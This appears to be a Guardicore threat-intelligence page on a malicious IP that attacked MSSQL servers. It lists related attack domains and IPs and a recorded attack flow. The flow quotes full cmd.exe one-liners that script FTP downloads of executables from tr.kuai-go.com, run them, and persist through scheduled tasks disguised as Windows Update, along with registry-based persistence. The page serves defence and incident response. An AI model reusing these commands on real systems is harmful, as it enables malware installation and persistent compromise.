IP Address: 65.49.44.91Malicious

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IP Address:
65.49.44.91​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Connect-Back, Scanner

Services Targeted

MSSQL HTTP SMB NetBIOS

Tags

IDS - Attempted User Privilege Gain Scheduled Task Creation CMD Execute MsSql Shell Command MSSQL DNS Query Access Suspicious Domain Successful MSSQL Login File Operation By CMD Persistency - Image Hijack Persistency - Mime Filter Create MsSql Procedure

Associated Attack Servers

tr.kuai-go.com 3.zhzy999.net go.jiancai008.com s.jiancai008.com sex.zhzy999.net

103.71.45.23 222.92.19.227 155.12.255.215 45.137.183.171 186.91.184.76 190.199.96.134 111.43.37.2 255.255.255.255 170.79.171.41 45.137.183.170 168.121.96.76 36.92.153.83 193.41.78.26 14.162.231.212 186.232.119.33 190.78.172.112 210.56.20.50 59.39.61.38 84.22.61.218 195.111.12.17 84.22.49.134 77.122.110.204

Basic Information

IP Address

65.49.44.91

Domain

-

ISP

Hurricane Electric

Country

United States

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2020-03-19

Last seen in Guardicore Centra

2020-03-28

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: White List

Successful MSSQL Login

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: Previously Approved User 3 times

Successful MSSQL Login

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

MSSQL executed 22 shell commands

Execute MsSql Shell Command

Process c:\windows\syswow64\ftp.exe attempted to access suspicious domains: tr.kuai-go.com

DNS Query Access Suspicious Domain

The command line cmd.exe /c echo 123>ftpx.txt&echo 123>>ftpx.txt&echo binary>>ftpx.txt&echo get sql.exe c:\windows\web\rundll32.exe>>ftpx.txt&echo bye>>ftpx.txt&ftp -s:ftpx.txt tr.kuai-go.com&c:\windows\web\rundll32.exe&del ftpx.txt was scheduled to run by modifying C:\Windows\System32\Tasks\Windows_Update

The command line cmd.exe /c echo 123>1.log&echo 123>>1.log&echo binary>>1.log&echo get 1.exe c:\windows\web\1.exe>>1.log&echo bye>>1.log&ftp -s:1.log tr.kuai-go.com&c:\windows\web\1.exe&del 1.log was scheduled to run by modifying C:\Windows\System32\Tasks\Windows_Update2

The command line cmd.exe /c echo 123>2.log&echo 123>>2.log&echo binary>>2.log&echo get 3.exe c:\windows\web\3.exe>>2.log&echo bye>>2.log&ftp -s:2.log tr.kuai-go.com&c:\windows\web\3.exe&del 2.log was scheduled to run by modifying C:\Windows\System32\Tasks\Windows_Update3

MSSQL procedures were created: sp_addextendedproc , sp_addlogin , sp_addsrvrolemember , sp_droplogin and sp_password

Create MsSql Procedure

Process c:\windows\system32\ftp.exe attempted to access suspicious domains: tr.kuai-go.com 4 times

DNS Query Access Suspicious Domain

Process NetworkService Service Group attempted to access suspicious domains: tr.kuai-go.com

DNS Query Access Suspicious Domain

Process c:\windows\syswow64\ftp.exe attempted to access suspicious domains: tr.kuai-go.com

DNS Query Access Suspicious Domain

Process c:\windows\system32\cscript.exe attempted to access suspicious domains: tr.kuai-go.com

DNS Query Access Suspicious Domain

Process c:\windows\system32\cscript.exe attempted to access suspicious domains: tr.kuai-go.com 2 times

DNS Query Access Suspicious Domain

Process c:\windows\system32\wscript.exe attempted to access suspicious domains: sex.zhzy999.net

DNS Query Access Suspicious Domain

IDS detected Attempted User Privilege Gain : MS-SQL SQL Injection closing string plus line comment

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_reg* - registry access

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

c:\program files\microsoft sql server\mssql11.sqlexpress\mssql\binn\sqlservr.exe set the command line c:\windows\system32\taskmgr.exe to run using Persistency - Image Hijack

Persistency - Image Hijack

c:\windows\system32\regsvr32.exe installed a Persistency - Mime Filter backdoor by modifying Windows Registry 8 times

Persistency - Mime Filter

Process c:\windows\system32\ftp.exe attempted to access suspicious domains: tr.kuai-go.com

DNS Query Access Suspicious Domain

Connection was closed due to timeout

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IP Address: 65.49.44.91​Malicious